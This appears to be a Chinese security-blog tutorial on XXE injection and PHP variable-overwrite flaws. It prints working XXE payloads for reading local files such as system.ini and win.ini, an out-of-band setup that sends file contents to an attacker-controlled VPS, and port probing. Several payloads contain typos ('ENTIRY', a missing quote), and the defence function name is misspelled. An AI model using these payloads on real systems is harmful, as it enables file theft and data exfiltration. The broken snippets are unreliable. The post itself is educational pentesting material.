freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XXE和变量覆盖
2022-08-10 11:39:03
所属地 天津

XML

语法简介

XML:Extensible Markup Language 可扩展标记语言

XML是一种数据表示格式,可以描述非常复杂的数据结构,常用于传输和存储数据.

XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素


XXE:XML External Entity Injection XML外部实体注入

DTD:文档类型定义,规定某种XML格式规范

DTD可以内嵌于XML文档中,称为内部引用.

内部引用文档声明格式:

内部实体声明语法:然后XML就可以使用DTD定义的值.


外部引用.外部文档声明格式:

外部实体声明语法:类似于文件包含


CDATA指的是不由XML解析器解析的文本数据.

XML要用POST请求发送.


XML正常使用

file协议读取任意文件内容.

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds[<!ENTITY goodies SYSTEM "file:///c:/phpstudy_pro/WWW/6-16/normal.txt">]>
<creds>&goodies;</creds>


有特殊字符导致file协议失效

有时读取的文件中有一些和XML语法冲突的特殊字符,此时file协议就会失效,用上面的payload会报错.

可以使用filter协议读取.

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds[<!ENTITY goodies SYSTEM
"php://filter/read=convert.base64-encode/resource=C:/phpstudy_pro/WWW/6-16/special_chars.txt">]>
<creds>&goodies;</creds>



XXE

有些服务器是通过用户上传的XML文件或POST请求进行数据传输.且如果没有禁止XML引用外部实体,也没有过滤数据,就可能有XXE.


有回显注入

有回显注入值得是读取文件的内容会呈现在网页中,可以直接看到.

使用burpsuite抓包,并修改请求方式为POST,在请求体中插入payload.

使用file协议读取敏感文件内容.

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds[<!ENTITY goodies SYSTEM "file:///C:/Windows/system.ini">]>
<creds>&goodies;</creds>

可以读取到system.ini中的内容.



无回显注入

vps:Virtual Private Server 虚拟专用服务器.对个人来说就是云服务器.

DTD文件的作用是要求服务器外部实体按照DTD文件中的指令来执行特定的命令.


目标:在无回显的情况下,想要读取到文件的内容

思路:攻击者向服务器发送post请求,令服务器读取指定文件内容,并且让服务器读取到内容后将内容转发到指定vps的指定端口.


提前在vps服务器上准备一个command.dtd,令目标服务器访问这个文档.

cmmand.dtd

<!ENTIRY %all "<!ENTITY &#x25; send SYSTEM 'http://vps地址/%file;'>"> %all;


攻击者向目标服务器发送恶意XML请求.

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Windows/win.ini">
<!ENTIRY % dtd SYSTEM "http://vps地址/command.dtd>
%dtd;
%send;]>

目标服务器会按照攻击者发送的XML请求,先读取win,ini内容,再转发到vps的地址.即可在无回显的情况下读取敏感文件内容.


XXE命令执行

通过抓包可以看到,有些网页的表单是通过xml传输数据的,此时就可以尝试看有无XXE命令执行.

先输入正常的数据,看有无回显位.如果有回显,在回显位处插入payload测试是否有回显.


XXE探测端口

端口开启的话返回结果很快.端口关闭的话返回结果很慢,而且报错信息也不一样.

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds[<!ENTITY goodies SYSTEM "http://ip地址:端口/">]>
<creds>&goodies;</creds>


如何防止XXE

lib_disable_entity_loader(true) 禁止加载XML外部实体,可以防止XXE



变量覆盖

register_globals():将GET,POST,COOKIE中传入的变量注册为全局变量.


如果get,post,cookie同时定义一个变量并赋不同的值,最终值会是什么?

传值按照get,post,cookie顺序,先传入的会被后传入的覆盖.


foreach

foreach(['_GET','_POST','_COOKIE'] as $item){ foreach($$item as $key => $value){ $$key=$value; } }


extract

extract():从一个数组中导入变量到官方符号表.或者说将一个数组导入到全局变量.第二个参数为可选参数,默认是EXTR_OVERWRITE,即遇到重名变量直接覆盖.

EXTR_SKIP:遇到重名变量直接跳过.

EXTR_PREFIX_SAME:当变量重名时,给重名的变量前添加前缀,前缀为第四个参数.

EXTE_PREFIX_ALL:所有变量都添加前缀.


parse_str()

parse_str():解析字符串,然后将其解析为变量并设置到当前作用域.


import_request_variables()

这个函数可以在register_globals=Off时,将GET,POST,COOKIE变量导入到全局作用域中.

要求php4 >=4.1 php5 <5.4

# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录